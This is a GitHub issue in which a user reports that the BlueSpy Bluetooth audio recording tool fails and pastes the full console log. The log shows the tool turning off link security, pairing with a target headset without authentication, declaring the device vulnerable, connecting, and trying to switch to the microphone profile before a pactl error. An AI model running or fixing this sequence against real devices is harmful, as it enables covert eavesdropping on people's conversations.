Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Connection Failure with Bluetooth Audio Recording Tool #18

Open
Reacurt opened this issue Aug 1, 2024 · 0 comments
Open

Connection Failure with Bluetooth Audio Recording Tool #18

Reacurt opened this issue Aug 1, 2024 · 0 comments

Comments

@Reacurt
Copy link

Reacurt commented Aug 1, 2024

I've been working with the Bluetooth audio recording tool by Tarlogic and encountered an issue. Below are the steps I followed and the resulting error:

Bluetooth audio recording tool by Tarlogic
[I] Avoiding authentication with FC:86:2A:D1:54:03...
[I] Generating shared key...
[C] sudo btmgmt bondable true
hci0 Set Bondable complete, settings: powered ssp br/edr le secure-conn cis-central cis-peripheral

[C] sudo btmgmt pairable true
hci0 Set Bondable complete, settings: powered ssp br/edr le secure-conn cis-central cis-peripheral

[C] sudo btmgmt linksec false
hci0 Set Link Security complete, settings: powered ssp br/edr le secure-conn cis-central cis-peripheral

[C] sudo btmgmt pair -c 3 -t 0 fc:86:2a:d1:54:03
Pairing with FC:86:2A:D1:54:03 (BR/EDR)
hci0 type 7 discovering off
hci0 FC:86:2A:D1:54:03 type BR/EDR connected eir_len 25
hci0 new_link_key FC:86:2A:D1:54:03 type 0x04 pin_len 0 store_hint 0
Paired with FC:86:2A:D1:54:03 (BR/EDR)

[!] Key generated
[I] The device is vulnerable!
[I] Establishing connection...
[C] bluetoothctl --timeout 2 scan on
SetDiscoveryFilter success
Discovery started
[CHG] Device FC:86:2A:D1:54:03 Modalias: bluetooth:v02B0p0000d001F
[CHG] Device FC:86:2A:D1:54:03 UUIDs: 00001101-0000-1000-8000-00805f9b34fb
[CHG] Device FC:86:2A:D1:54:03 UUIDs: 0000110b-0000-1000-8000-00805f9b34fb
[CHG] Device FC:86:2A:D1:54:03 UUIDs: 0000110c-0000-1000-8000-00805f9b34fb
[CHG] Device FC:86:2A:D1:54:03 UUIDs: 0000110e-0000-1000-8000-00805f9b34fb
[CHG] Device FC:86:2A:D1:54:03 UUIDs: 0000111e-0000-1000-8000-00805f9b34fb
[CHG] Device FC:86:2A:D1:54:03 UUIDs: 00001200-0000-1000-8000-00805f9b34fb
[CHG] Device FC:86:2A:D1:54:03 UUIDs: 00003333-0000-1000-8000-00805f9b34fb
[CHG] Device FC:86:2A:D1:54:03 UUIDs: 0000fd9a-0000-1000-8000-00805f9b34fb
[CHG] Device FC:86:2A:D1:54:03 ServicesResolved: yes
[CHG] Device FC:86:2A:D1:54:03 Paired: yes

[C] bluetoothctl connect fc:86:2a:d1:54:03
Attempting to connect to fc:86:2a:d1:54:03
hci0 device_flags_changed: FC:86:2A:D1:54:03 (BR/EDR)
supp: 0x00000001 curr: 0x00000000
[NEW] Endpoint /org/bluez/hci0/dev_FC_86_2A_D1_54_03/sep1
[NEW] Endpoint /org/bluez/hci0/dev_FC_86_2A_D1_54_03/sep2
[NEW] Endpoint /org/bluez/hci0/dev_FC_86_2A_D1_54_03/sep4
[NEW] Transport /org/bluez/hci0/dev_FC_86_2A_D1_54_03/sep1/fd0
[CHG] Transport /org/bluez/hci0/dev_FC_86_2A_D1_54_03/sep1/fd0 Delay: 0x05dc (1500)
Connection successful

[I] Starting audio recording...
[!] Recording!
[C] pactl set-card-profile bluez_card.FC_86_2A_D1_54_03 headset-head-unit-msbc

Traceback (most recent call last):
File "/home/kali/Desktop/project/BlueSpy-main/BlueSpy.py", line 94, in
main()
File "/home/kali/Desktop/project/BlueSpy-main/BlueSpy.py", line 84, in main
record(target, outfile=args.outfile, verbose=args.verbose)
File "/home/kali/Desktop/project/BlueSpy-main/core.py", line 119, in record
run_and_check(
File "/home/kali/Desktop/project/BlueSpy-main/system.py", line 35, in run_and_check
raise CommandValidationException(cmdline, out)
system.CommandValidationException: ('Error while executing command "pactl set-card-profile bluez_card.FC_86_2A_D1_54_03 headset-head-unit-msbc"', '')

┌──(root㉿kali)-[/home/kali/Desktop/project/BlueSpy-main]
└─# pactl set-card-profile bluez_card.FC_86_2A_D1_54_03 headset-head-unit-msbc
Connection failure: Connection refused
pa_context_connect() failed: Connection refused

It seems that the connection is refused when trying to set the card profile. Any suggestions on how to resolve this issue would be greatly appreciated.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant